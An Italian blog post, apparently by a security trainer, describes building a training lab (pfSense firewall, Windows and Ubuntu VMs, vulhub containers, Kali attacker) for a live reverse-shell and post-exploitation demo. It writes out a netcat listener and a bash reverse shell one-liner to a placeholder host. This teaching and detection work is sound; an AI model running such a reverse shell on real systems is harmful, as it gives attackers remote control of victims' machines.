cyber security, hacking

Lab setup per post-exploiting: scenario base

Un post dedicato alla preparazione di un lab destinato ad esercitazioni di attacco e difesa. In realtà si tratta di una versione rivisitata di un lab che avevo implementato a fine 2021 con Andrea Dainese per delle sessioni cyber range di addestramento di un Red Team (esperienza molto interessante tra l’altro). In questa versione del lab conto di aggiungere, con il tempo, qualche elemento in più.

Il lab è di per se uno strumento che in questo caso verrà utilizzato per sessioni dimostrative di attacco in diversi contesti. Con 24 Ore Business School ho in programma delle sessioni specifiche all’interno di un master in Cyber Security e per l’occasione ho voluto preparare delle sessioni dove si possa vedere qualcosa di reale seppur in ambiente “controllato”. Se all’interno del master la scelta degli argomenti è giustamente definita dal programma, sulle mie play-session Twitch c’è spazio per la sperimentazione. In questo periodo mi piace particolarmente giocare con le reverse shell e le azioni di post-exploitation, quindi in questo lab andrò a predisporre elementi vulnerabili in varia forma al fine di provare diverse tecniche di attacco e sperimentare strumenti di detection.

Nello scenario base andiamo ad installare:

  • Un firewall di perimetro con tre network interfaces (WAN, LAN, DMZ)
  • Una VM con sistema operativo Windows Server
  • Una VM con sistema operativo Ubuntu Linux Server
  • Una VM con sistema operativo Windows (client)
  • Una VM d’appoggio per l’attacker (la solita kali alla portata di tutti)

Lo schema finale assomiglia a qualcosa del genere:

lab schema

Per semplicità in questo scenario il firewall è basato su un glorioso pfsense che avrà ovviamente una interfaccia WAN esposta in rete pubblica (per accesso ad internet e NAT), una interfaccia per la DMZ ed una interfaccia per la rete LAN. Nella play-session in preparazione lo scenario coinvolgerà i sistemi in DMZ in quanto vi saranno dei servizi esposti con delle vulnerabilità anche gravi (es: RCE).

Partiamo quindi proprio dai sistemi server ed in particolare dalla VM Ubuntu Linux su cui predisponiamo un set di container appositamente implementati con software vulnerabile: https://github.com/vulhub/vulhub. Sul sistema (target-01 nel mio schema) va quindi installato un po’ di software base:

$ sudo apt-get install python3-pip
...
$ sudo apt-get install docker docker-compose
...

Fatto questo si può procedere con il download del progetto vulnhub:

$ wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
$ unzip vulhub-master.zip 

Ora abbiamo sulla macchina una certa abbondanza di software con cui giocare per provare diverse tipologie di exploit. Il primo scenario a cui dedicare la sessione live del 17 febbraio riguarda la possibilità di guadagnare una reverse shell su uno dei sistemi target partendo da una semplice sessione tcp via netcat.

A prescindere dal software che utilizzeremo come target per la simulazione l’obiettivo è quindi eseguire sul server vittima un comando netcat per aprire una sessione verso la macchina controllata dall’attacker ed adoperarsi per mantenere il link stabilmente attivo. In riferimento allo schema condiviso avremo quindi sulla macchina dell’attacker un netcat in listen pronto a ricevere la sessione dalla macchine vittima…

$ nc -vv -l -p 1337

…e sul sistema target faremo in modo di aprire una sessione verso la macchina dell’attacker con una shell pronta a ricevere i comandi da remoto. Per esempio:

$ sleep 3s && nohup bash -i >/dev/tcp/{R_HOST}/1337 0<&1 2>&1

In questo scenario, potendo il sistema target accedere alla rete internet attraverso il firewall, otterremo che la macchina compromessa sarà governabile da remoto grazie ad una sessione che ha origine dall’interno della rete verso l’esterno.

TODO per la sessione live (tempo permettendo):

  • setup del lab – ovviamente – e panoramica dei sistemi
  • test con la reverse shell sulla macchina target
  • test di exploiting di un sistema vulnerabile per esecuzione reverse shell
  • test di detection: verifica log firewall e test con XDR

Ovviamente la sessione è puramente dimostrativa e l’obiettivo è toccare con mano temi ben noti agli addetti ai lavori ma forse meno frequentati da chi si occupa prettamente di gestione operativa dei sistemi.

Il principio alla base di questi contenuti resta quello della consapevolezza: se capiamo come funzionano gli attacchi informatici avremo più strumenti per comprendere come prevenirli e, in caso di incident, come gestirli.